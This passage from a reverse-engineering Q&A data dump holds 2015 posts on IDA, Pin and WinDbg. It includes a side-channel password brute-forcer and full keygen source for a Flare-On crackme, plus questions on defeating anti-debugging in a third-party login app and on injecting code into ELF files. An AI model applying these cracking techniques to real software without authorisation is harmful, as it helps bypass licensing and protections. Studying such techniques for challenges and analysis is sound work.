noreferrer&quot;&gt;this&lt;/a&gt; cheat sheet for more inspiration with Windbg. &lt;/p&gt;&#xA;" OwnerUserId="4609" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-09-22T09:52:04.697" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10914" PostTypeId="1" AcceptedAnswerId="10923" CreationDate="2015-09-20T15:06:08.960" Score="3" ViewCount="165" Body="&lt;p&gt;I'm trying to bruteforce a password in a 32bit Windows application (this is challenge 9 of &lt;a href=&quot;http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip&quot; rel=&quot;nofollow&quot;&gt;http://www.flare-on.com/files/2015_FLAREOn_Challenges.zip&lt;/a&gt;), using the &lt;code&gt;inscount0&lt;/code&gt; pintool (&lt;a href=&quot;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&quot; rel=&quot;nofollow&quot;&gt;https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool&lt;/a&gt;) and Powershell. This is possible because the password is actually checked letter by letter in the code. If a letter is correct, the program continues to the second letter (and so on), but if a letter is incorrect, the program terminates. The difficulty comes from the fact that the application is interactively prompting a password instead of passing it as an argument to the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been able to make it work with the following Powershell script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add-type -AssemblyName System.Windows.Forms&#xA;&#xA;for($i=32; $i -le 126; $i++){&#xA;&#xA;  # &quot;I&quot; is the first known letter of password&#xA;  $pass_guess = &quot;I&quot; + [char]$i + &quot;..........&quot;&#xA;&#xA;  # Launch pin&#xA;  Start-Process -FilePath pin.exe -ArgumentList '-t inscount0.dll -- ch9.exe'&#xA;&#xA;  # send user input&#xA;  start-sleep -Milliseconds 500&#xA;  [System.Windows.Forms.SendKeys]::SendWait(&quot;$pass_guess{ENTER}&quot;)&#xA;&#xA;  # Read content of count in file&#xA;  start-sleep -Milliseconds 500&#xA;  Write-Output $pass_guess&#xA;  Get-Content .\inscount.out&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It actually works fine and here is the output that confirmed the 1st letter of the password should by &quot;I&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS C:\pin&amp;gt; .\myscript.ps1&#xA;[removed]&#xA;H..........&#xA;Count 32890&#xA;I..........&#xA;Count 32852&#xA;J..........&#xA;Count 32890&#xA;[removed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Indeed, the check for &quot;I&quot; is performed by the program with a different number of instructions as with other letters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, if this script is working, it is obviously not optimized because the script is launching the program in a popup window for each occurrence in the loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how I could improve this script. Many thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="13001" LastActivityDate="2015-09-21T20:25:17.100" Title="Launch pintool expecting user input from Powershell" Tags="|pintool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10916" PostTypeId="2" ParentId="10906" CreationDate="2015-09-20T21:24:30.307" Score="1" Body="&lt;p&gt;After some work with the database I figured out the reason of the strange behavior of IDA. The binary I'm trying to decompile is a GUI application that uses MFC; I have imported a number of MFC types from a PDB file obtained from Microsoft Symbol store. It's either an IDA bug or corrupted PDB — if I don't import types, all functions are detected correctly and decompilation works as expected, if I do — many function boundaries go wrong, decompilation fails, function attributes are ignored by Hex-Rays and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of possible workarounds is to export the database as IDC file and then run the resulting script on a clean database. This way, function prototypes and type information are kept intact. Hex-Rays decompiled results will differ, though (variable mapping information is lost, and so are local variable names). &lt;/p&gt;&#xA;" OwnerUserId="13606" LastEditorUserId="13606" LastEditDate="2015-09-21T16:23:26.563" LastActivityDate="2015-09-21T16:23:26.563" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10917" PostTypeId="2" ParentId="5" CreationDate="2015-09-21T01:25:22.433" Score="0" Body="&lt;p&gt;You can use the capstone library to disassemble the instructions stating at the address you are looking at.  It has the ability to determine for you how long the instruction is in bytes, and then you can use that in your code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.capstone-engine.org/&quot; rel=&quot;nofollow&quot;&gt;http://www.capstone-engine.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2426" LastActivityDate="2015-09-21T01:25:22.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10918" PostTypeId="2" ParentId="10911" CreationDate="2015-09-21T01:36:07.613" Score="1" Body="&lt;p&gt;You can easily make an ida script that will add a cross-reference from the ret instruction to the address that is in the push.  You simply need to look for the pattern that has the previous instruction with a mnemonic that is push and the next instruction that is a RET. Adding a cross reference will ensure that the flow for your function is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it would help, I could put together a script that will add this type of cross reference?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a link to my version of a IDA Pluging using the SDK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://milhous.no-ip.com:15980/blog/2015/09/20/ida-call-jump/&quot; rel=&quot;nofollow&quot;&gt;http://milhous.no-ip.com:15980/blog/2015/09/20/ida-call-jump/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="2426" LastEditDate="2015-09-21T03:24:26.440" LastActivityDate="2015-09-21T03:24:26.440" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10919" PostTypeId="2" ParentId="10908" CreationDate="2015-09-21T03:29:31.170" Score="1" Body="&lt;p&gt;The result of the call to the RegisterWindoMessageW is stored in eax. esi is a pointer and the code is saving the result of the function call to the address pointed to by esi plus offset 68h.&lt;/p&gt;&#xA;" OwnerUserId="2426" LastActivityDate="2015-09-21T03:29:31.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10920" PostTypeId="2" ParentId="10911" CreationDate="2015-09-21T05:00:47.933" Score="1" Body="&lt;p&gt;Assuming that JMP =&gt; PUSH; RET is the only obfuscation technique applied, you could try writing an IDAPython script that does the following :-&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For each function that has been discovered by IDA&lt;/li&gt;&#xA;&lt;li&gt;Traverse each instruction. Upon encountering a &quot;PUSH; RET&quot; instructions, extract the bytes corresponding to the target. Patch the bytes to change it to a relative JMP(you will need to take the current instruction address into account for that). Reassemble the bytes as instructions.&lt;/li&gt;&#xA;&lt;li&gt;In order to patch the actual binary, use &quot;Apply patches to binary&quot; from the EDIT menu.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-09-21T05:00:47.933" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10921" PostTypeId="1" AcceptedAnswerId="10927" CreationDate="2015-09-21T09:17:15.207" Score="3" ViewCount="921" Body="&lt;p&gt;I was making C++ addon headers for BlockLauncher Addon with IDA, reverse engineering libminecraftpe.so file.&#xA;While doing that, i got trouble.&#xA;I want to see specific class's non-static members but i cant find non-static member view.&#xA;Is there a way to see non-static members?&lt;/p&gt;&#xA;" OwnerUserId="13621" LastActivityDate="2015-09-21T21:38:50.060" Title="Can i see non-static members of a class with IDA?" Tags="|ida|c++|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10923" PostTypeId="2" ParentId="10914" CreationDate="2015-09-21T13:04:18.147" Score="3" Body="&lt;p&gt;in powershell use &lt;strong&gt;-NoNewWindow&lt;/strong&gt; Switch if you do not want the new process to be started in a popup window&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Start-process -FilePath &quot;.\XXXXXXX&quot; -ArgumentList &quot;xxxx yyy ddd&quot; -NoNewWindow&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw i read your solution and it seems the challenge doesnt check just one character and proceeds to terminate itself on failure of first it seems to check all of the 41 characters &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a simple windbg oneliner below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;bp 401a9f \&quot;.printf \\\&quot;%c\\\&quot;,@al;gc\&quot;;g;q&quot; flachal9.exe&#xA;0:000&amp;gt; cdb: Reading initial command 'bp 401a9f &quot;.printf \&quot;%c\&quot;,@al;gc&quot;;g;q'&#xA;I have evolved since the first challenge. You have not. Bring it.&#xA;Enter the password&amp;gt; abracadabragiligilichoobabygiligilichooyammayammabooo&#xA;abracadabragiligilichoobabygiligilichooyaYou are failure&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it xors each of the character with the corresponding bytes as below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;bp 401ad5 \&quot;.printf \\\&quot;%02x \\\&quot;,@ah;gc\&quot;;g;q&quot; flachal9.exe&#xA;0:000&amp;gt; cdb: Reading initial command 'bp 401ad5 &quot;.printf \&quot;%02x \&quot;,@ah;gc&quot;;g;q'&#xA;I have evolved since the first challenge. You have not. Bring it.&#xA;Enter the password&amp;gt; abracadabragiligilichoobabygiligilichooyammayammabooo&#xA;&#xA;46 15 f4 bd ff 4c ef 46 eb e6 b2 eb f1 c4 34 67 39 b5 8e ef 40 1b 74 0d 60 26 45&#xA; a8 4a 96 c9 65 e2 32 60 64 8c 65 e3 8e 9f You are failure&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and rotate-lefts(ROL)  the result with the bytes below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;bp 401b14 \&quot;.printf \\\&quot;%02x \\\&quot;,@cl;gc\&quot;;g;q&quot; flachal9.exe&#xA;0:000&amp;gt; cdb: Reading initial command 'bp 401b14 &quot;.printf \&quot;%02x \&quot;,@cl;gc&quot;;g;q'&#xA;I have evolved since the first challenge. You have not. Bring it.&#xA;Enter the password&amp;gt; abracadabragiligilichoobabygiligilichooyammayammabooo&#xA;&#xA;56 f5 ac 1b b5 93 7e b8 23 da 0a f2 01 61 5c c8 4c d6 16 55 67 b8 c1 f8 bc 11 fa&#xA; 9b 6b f9 d4 75 87 ca ce be 4e 6e f1 b9 6e You are failure&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and cmpexchg with the bytes below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cdb -c &quot;bp 401b14 \&quot;.printf \\\&quot;%02x \\\&quot;,by(@ebx+@esp+2c);gc\&quot;;g;q&quot; flachal9.exe&#xA;0:000&amp;gt; cdb: Reading initial command 'bp 401b14 &quot;.printf \&quot;%02x \&quot;,by(@ebx+@esp+2c);gc&quot;;g;q'&#xA;I have evolved since the first challenge. You have not. Bring it.&#xA;Enter the password&amp;gt; abracadabragiligilichoobabygiligilichooyammayammabooo&#xA;&#xA;c3 cc ba 4e f2 eb 27 19 c6 42 06 16 5d 53 55 0e 66 f4 f9 30 9a 77 56 6b f0 8e dc&#xA; 2e 50 e1 5a 80 48 5d 53 c2 b8 d2 01 c3 bc You are failure&#xA;quit:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with these three arrays it is possible to keygen the key&lt;/p&gt;&#xA;&#xA;&lt;p&gt;keygen src&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;unsigned char xorseed[] = {&#xA;   70, 21,244,189,255, 76,239, 70,235,230,178,235,241,196, 52,103, 57,181,142,239, 64,&#xA;   27,116, 13, 96, 38, 69,168, 74,150,201,101,226, 50, 96,100,140,101,227,142,159,  0&#xA;};&#xA;//array contains original bytes  % 20&#xA;unsigned char rolseed[] = {&#xA;  22, 21, 12, 27, 21, 19, 30, 24,  3, 26, 10, 18,  1,  1, 28,  8, 12, 22, 22, 21,  7,&#xA;  24,  1, 24, 28, 17, 26, 27, 11, 25, 20, 21,  7, 10, 14, 30, 14, 14, 17, 25, 14,  0  &#xA;};&#xA;unsigned char cmpseed[] = {&#xA;  195,204,186, 78,242,235, 39, 25,198, 66, 06, 22, 93, 83, 85, 14,102,244,249, 48,154,&#xA;  119, 86,107,240,142,220, 46, 80,225, 90,128, 72, 93, 83,194,184,210, 01,195,188,  0  &#xA;};&#xA;unsigned char key[50] ={0};&#xA;int main (void) {&#xA;  for(int i = 0; i&amp;lt;42;i++) {&#xA;   key[i] = _rotr8(cmpseed[i],rolseed[i]) ^ xorseed[i];&#xA;  printf(&quot;%c&quot;,key[i]);&#xA;  }&#xA;  return 0;  &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2015-09-21T20:25:17.100" LastActivityDate="2015-09-21T20:25:17.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10924" PostTypeId="1" AcceptedAnswerId="10925" CreationDate="2015-09-21T14:40:37.160" Score="3" ViewCount="166961" Body="&lt;p&gt;How to translate code assembly to C?? I am very poor in assembly code. EG:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov     dword ptr [ebp+data], 612E2F47h&#xA;mov     dword ptr [ebp+data+4], 5B2A451Ch&#xA;mov     dword ptr [ebp+data+8], 6E6B5E18h&#xA;mov     dword ptr [ebp+data+0Ch], 5C121F67h&#xA;mov     dword ptr [ebp+data+10h], 0D5E2223h&#xA;mov     dword ptr [ebp+data+14h], 5E0A5F1Dh&#xA;mov     word ptr [ebp+data+18h], 858h&#xA;mov     word ptr [ebp+data+1Ah], 0h&#xA;xor     eax, eax                &#xA;loc_4012B2:                             &#xA;add     [ebp+eax+data], al      &#xA;inc     eax                     &#xA;cmp     eax, 1Ah                &#xA;jl      short loc_4012B2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13627" LastEditorUserId="2959" LastEditDate="2018-07-10T09:34:27.073" LastActivityDate="2018-07-10T09:34:27.073" Title="Translate ASSEMBLY to C" Tags="|assembly|c|" AnswerCount="1" CommentCount="3" ClosedDate="2015-09-21T22:04:20.183" ContentLicense="CC BY-SA 4.0" />
  <row Id="10925" PostTypeId="2" ParentId="10924" CreationDate="2015-09-21T16:40:56.047" Score="14" Body="&lt;p&gt;Here is exact answer to you question.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;http://www.tutorialspoint.com/compile_assembly_online.php&quot; rel=&quot;noreferrer&quot;&gt;http://www.tutorialspoint.com/compile_assembly_online.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Doubleclick on main.asm in upper-left corner of the screen&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy your snippet to the text window. You'll need to add definition of data and make some tweaks, my resulting assembly code is&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;section     .text&#xA;global main&#xA;main:&#xA;&#xA;xor ebp,ebp&#xA;&#xA;mov      dword [ebp+data], 0x612E2F47&#xA;mov      dword [ebp+data+4], 0x5B2A451C&#xA;mov      dword [ebp+data+8], 0x6E6B5E18&#xA;mov      dword [ebp+data+0Ch], 0x5C121F67&#xA;mov      dword [ebp+data+10h], 0x0D5E2223&#xA;mov      dword [ebp+data+14h], 0x5E0A5F1D &#xA;mov      dword [ebp+data+18h], 0x858&#xA;mov      dword [ebp+data+1Ah], 0x0&#xA;xor     eax, eax                &#xA;loc_4012B2:                             &#xA;add     [ebp+eax+data], al      &#xA;inc     eax                     &#xA;cmp     eax, 1Ah                &#xA;jl      short loc_4012B2&#xA;nop&#xA;nop&#xA;&#xA;&#xA;section     .data&#xA;&#xA;data    db 0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press compile button&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to project menu, download the project, extract &lt;code&gt;demo&lt;/code&gt; file from the archive&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to &lt;a href=&quot;https://retdec.com/decompilation/&quot; rel=&quot;noreferrer&quot;&gt;retdec decompiler site&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select executable input file and upload your binary file there&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press decompile&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;See results&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I wouldn't say that results of this translation to C code are too much understandable.&#xA;In addition I'd like to note that learning 6 assembly commands is much less time consuming process.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2015-09-21T16:40:56.047" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10926" PostTypeId="1" CreationDate="2015-09-21T17:04:44.483" Score="2" ViewCount="5220" Body="&lt;p&gt;For education reasons I just came into reverse engineering, so I found an app that I want to reverse. Basically it has a basic auth system (login and pass). I sniffed traffic with Wireshark and found the packets are encrypted. So i started to reverse engineer it. I tried Ollydbg and IDApro with stealth plugins but still can't run it with debugger. Here is a message when I try to run it with debugger:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A debugger has been found running in you system&#xA;Please unload it from memory and restart your computer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose it is a some lib to prevent debugging because it a pretty standard message because when I try to google it, it appears not only in this program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I dive into code. At this moment i found only this 2 functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.vmp1:013F9BDC loc_13F9BDC:                            ; CODE XREF: sub_1427AA5+4j&#xA;.vmp1:013F9BDC                 not     dl&#xA;.vmp1:013F9BDE                 bt      ebx, 1Eh&#xA;.vmp1:013F9BE2                 rol     dl, 3&#xA;.vmp1:013F9BE5                 call    loc_144B5CD&#xA;.vmp1:013F9BEA                 and     al, 14h&#xA;.vmp1:013F9BEC                 xor     al, 0C3h&#xA;.vmp1:013F9BEE                 lodsb&#xA;.vmp1:013F9BEF                 cmp     al, 0EAh&#xA;.vmp1:013F9BF1                 imul    ebx&#xA;.vmp1:013F9BF3                 add     [eax-36h], edx&#xA;.vmp1:013F9BF6                 mov     dh, 0DFh&#xA;.vmp1:013F9BF8                 sub     ch, [eax]&#xA;.vmp1:013F9BFA                 test    al, dh&#xA;.vmp1:013F9BFC                 wait&#xA;.vmp1:013F9BFD                 adc     esi, 28h&#xA;.vmp1:013F9C00                 int     3               ; Trap to Debugger&#xA;.vmp1:013F9C01                 sub     ah, bh&#xA;.vmp1:013F9C03                 shr     byte ptr [ecx], 1&#xA;.vmp1:013F9C05                 jmp     far ptr 0F03Dh:0AE62FB1Fh&#xA;&#xA;    loc_1402816:                            ; CODE XREF: sub_15E0009-1DD80Ej&#xA;.vmp1:01402816                 pop     ebp&#xA;.vmp1:01402817                 arpl    [ebx], cx&#xA;.vmp1:0140281A                 adc     al, 0C8h&#xA;.vmp1:0140281C                 int     3               ; Trap to Debugger&#xA;.vmp1:0140281D                 sbb     al, 0B2h&#xA;.vmp1:0140281F                 loopne  loc_140285A&#xA;.vmp1:01402821                 or      al, 0CFh&#xA;.vmp1:01402823                 fisttp  qword ptr [edi]&#xA;.vmp1:01402825                 xchg    eax, edx&#xA;.vmp1:01402826                 sbb     ah, 7Fh&#xA;.vmp1:01402829                 retf&#xA;.vmp1:01402829 ; END OF FUNCTION CHUNK FOR sub_15E0009&#xA;.vmp1:01402829 ; -----------------------------------------------------------------&#xA;.vmp1:0140282A                 dw 0BB70h&#xA;.vmp1:0140282C                 dd 2FEC5FA0h, 1C84B195h, 0E7C1879Fh, 0F4D8BCF8h&#xA;.vmp1:0140283C ; -----------------------------------------------------------------&#xA;.vmp1:0140283C                 push    ds&#xA;.vmp1:0140283D ; START OF FUNCTION CHUNK FOR sub_15E0009&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also tried to undefine those or define as nop. I'm pretty new to reversing and I know only basic of Assembler but have background with C or C++ and some other languages. How can I avoid this anti-debugging ? Maybe some specific settings of a plugin ? Or maybe using another debugger ? Right now I'm trying to use Windbg and win 32 debugger. Or please tell me where to dig. here is DIA output.&lt;a href=&quot;https://i.stack.imgur.com/3u5wx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3u5wx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13629" LastEditorUserId="13629" LastEditDate="2015-09-22T21:36:45.133" LastActivityDate="2015-09-22T21:36:45.133" Title="A debugger has been found running in your system" Tags="|ida|debugging|anti-debugging|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10927" PostTypeId="2" ParentId="10921" CreationDate="2015-09-21T21:38:50.060" Score="3" Body="&lt;p&gt;Non static members are allocated as a structure.  For virtual functions there is also a pointer to a table of pointers that is the first offset in the structure.  Each class member is a specific offset from the beginning of the structure.  The easiest way to see this is to create a class, and assign different members to values that you know.  Then look in IDA and see the offsets that are modified with those known values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a good article that describes the layout. &lt;a href=&quot;http://www.openrce.org/articles/full_view/23&quot; rel=&quot;nofollow&quot;&gt;http://www.openrce.org/articles/full_view/23&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2426" LastActivityDate="2015-09-21T21:38:50.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10928" PostTypeId="1" CreationDate="2015-09-22T03:52:51.083" Score="2" ViewCount="1457" Body="&lt;p&gt;I want to patch an ELF executable to insert a function call (the function &lt;code&gt;s2e_rawmon_loadmodule&lt;/code&gt; and its dependencies are to be linked statically, preferably) at the beginning. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/a/192&quot;&gt;This answer&lt;/a&gt; seems to have a nice set of pointers. If I have understood correctly, dynamic instrumentation using PIN/Valgrind/DynamoRIO alters the address space. The addresses of the subsequent instructions get changed which I don't want. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For static instrumentation, &lt;a href=&quot;http://www.eresi-project.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ERESI project&lt;/a&gt; could have been useful. But, it looks like the project has been abandoned for long. I am not being able to build the tool on Ubuntu 14.04 due to compilation issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help me out with some workaround?&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2016-07-19T05:16:25.063" Title="Insert a function call in an ELF executable" Tags="|elf|patching|instrumentation|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10929" PostTypeId="2" ParentId="10902" CreationDate="2015-09-22T07:31:52.343" Score="16" Body="&lt;p&gt;To debug an APK without the source code, you need to perform the following:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Enable debug mode in the APK (use &lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot; rel=&quot;nofollow noreferrer&quot;&gt;apktool&lt;/a&gt; to achieve this)&lt;/li&gt;&#xA;&lt;li&gt;Sign the APK (use keytool and jarsigner)&lt;/li&gt;&#xA;&lt;li&gt;Install the app and identify the debug port of the app using Android Debug Monitor or DDMS&lt;/li&gt;&#xA;&lt;li&gt;Use an IDE with support for JDWP like NetBeans pointing to the project with the decompiled java or smali.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;You can find the commands yo use in this blog (section 5 Dynamic analysis and debugging) &lt;a href=&quot;https://web.archive.org/web/20181222103222/http://www.yap0wnb.com/2014_02_01_archive.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;First steps performing penetration testing on an Android application&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3469" LastEditorUserId="-1" LastEditDate="2021-01-02T21:52:34.983" LastActivityDate="2021-01-02T21:52:34.983" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="10931" PostTypeId="1" CreationDate="2015-09-22T20:50:38.053" Score="0" ViewCount="146" Body="&lt;p&gt;I made a mistake when trying to import some additional binary data into one of my long-time IDA databases. I unintentionally overwrote some empty RAM space, so I tried reverting it back to &quot;space&quot; by undefining or converting the imported code to data. But no such luck - the regions are now filled with thousands of &quot;.byte 0&quot; lines instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The database has a ton of comments and renamed variables/functions and I would rather not start over from scratch just to fix this, so is there any other way I can undo this silly mistake? I'm still pretty new to IDA so I hope a potentially dumb question is forgiven here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use IDA 6.1 if that changes anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="13518" LastActivityDate="2015-09-22T20:50:38.053" Title="Converting data to space?" Tags="|ida|mips|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10932" PostTypeId="2" ParentId="10928" CreationDate="2015-09-22T23:44:35.813" Score="1" Body="&lt;p&gt;It seems that you're trying to run some code in the context of the binary before anything meaningful happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should read some resources about ELF infection, for example on &lt;a href=&quot;http://vxheaven.org/lib/vrn00.html&quot; rel=&quot;nofollow&quot;&gt;vxheavens&lt;/a&gt; or &lt;a href=&quot;http://www.hackercurriculum.org/elf&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But since you're trying to &lt;em&gt;inject&lt;/em&gt;/&lt;em&gt;execute&lt;/em&gt; &lt;code&gt;s2e_rawmon_loadmodule&lt;/code&gt; from &lt;a href=&quot;https://github.com/dslab-epfl/s2e/blob/master/docs/Plugins/RawMonitor.rst&quot; rel=&quot;nofollow&quot;&gt;s2e&lt;/a&gt;, maybe you should just use a debugger instead, because I'm quite sure that this is not how it's supposed to be used.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-09-22T23:44:35.813" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10933" PostTypeId="2" ParentId="5" CreationDate="2015-09-23T07:00:29.523" Score="5" Body="&lt;p&gt;&lt;a href=&quot;http://www.codeproject.com/Articles/662301/x-Instruction-Encoding-Revealed-Bit-Twiddling-fo&quot; rel=&quot;noreferrer&quot;&gt;This CodeProject article&lt;/a&gt; is an excellent high-level view of x86's instruction format (with diagrams!). After reading this, more detailed references will make more sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Due to many years of backwards-compatible evolution, the x86 instruction format is quite complicated, with all sorts of optional prefixes and instruction-dependent fields, so it is a bit tricky to work out the instruction length. If you want something robust, I would advise adapting existing software rather than rolling your own. But understanding these concepts will of course be very helpful.&lt;/p&gt;&#xA;" OwnerUserId="8616" LastActivityDate="2015-09-23T07:00:29.523" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10934" PostTypeId="1" CreationDate="2015-09-23T08:35:20.100" Score="2" ViewCount="1228" Body="&lt;p&gt;It is an accounting database whose database file format is proprietary data. But the problem is the database is highly unreliable, corruption go unnoticed for years after which it becomes unbearably difficult to recover data, we maintain accounts of lots of companies, so reversing the format will be highly useful. Also, the software is odbc compliant which might be very helpul for reversing it.The software is partially open-source, i.e. except database engine everything is open-source(and fully customizable), though they have there own different language.&lt;br&gt;&#xA;I have no experience in reversing. we would like to reverse it in such a way that we could write data in that format directly.&lt;/p&gt;&#xA;" OwnerUserId="13600" LastEditorUserId="13600" LastEditDate="2015-09-23T09:22:56.020" LastActivityDate="2015-09-23T09:22:56.020" Title="How to reverse engineer a database file format?" Tags="|binary-analysis|tools|file-format|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
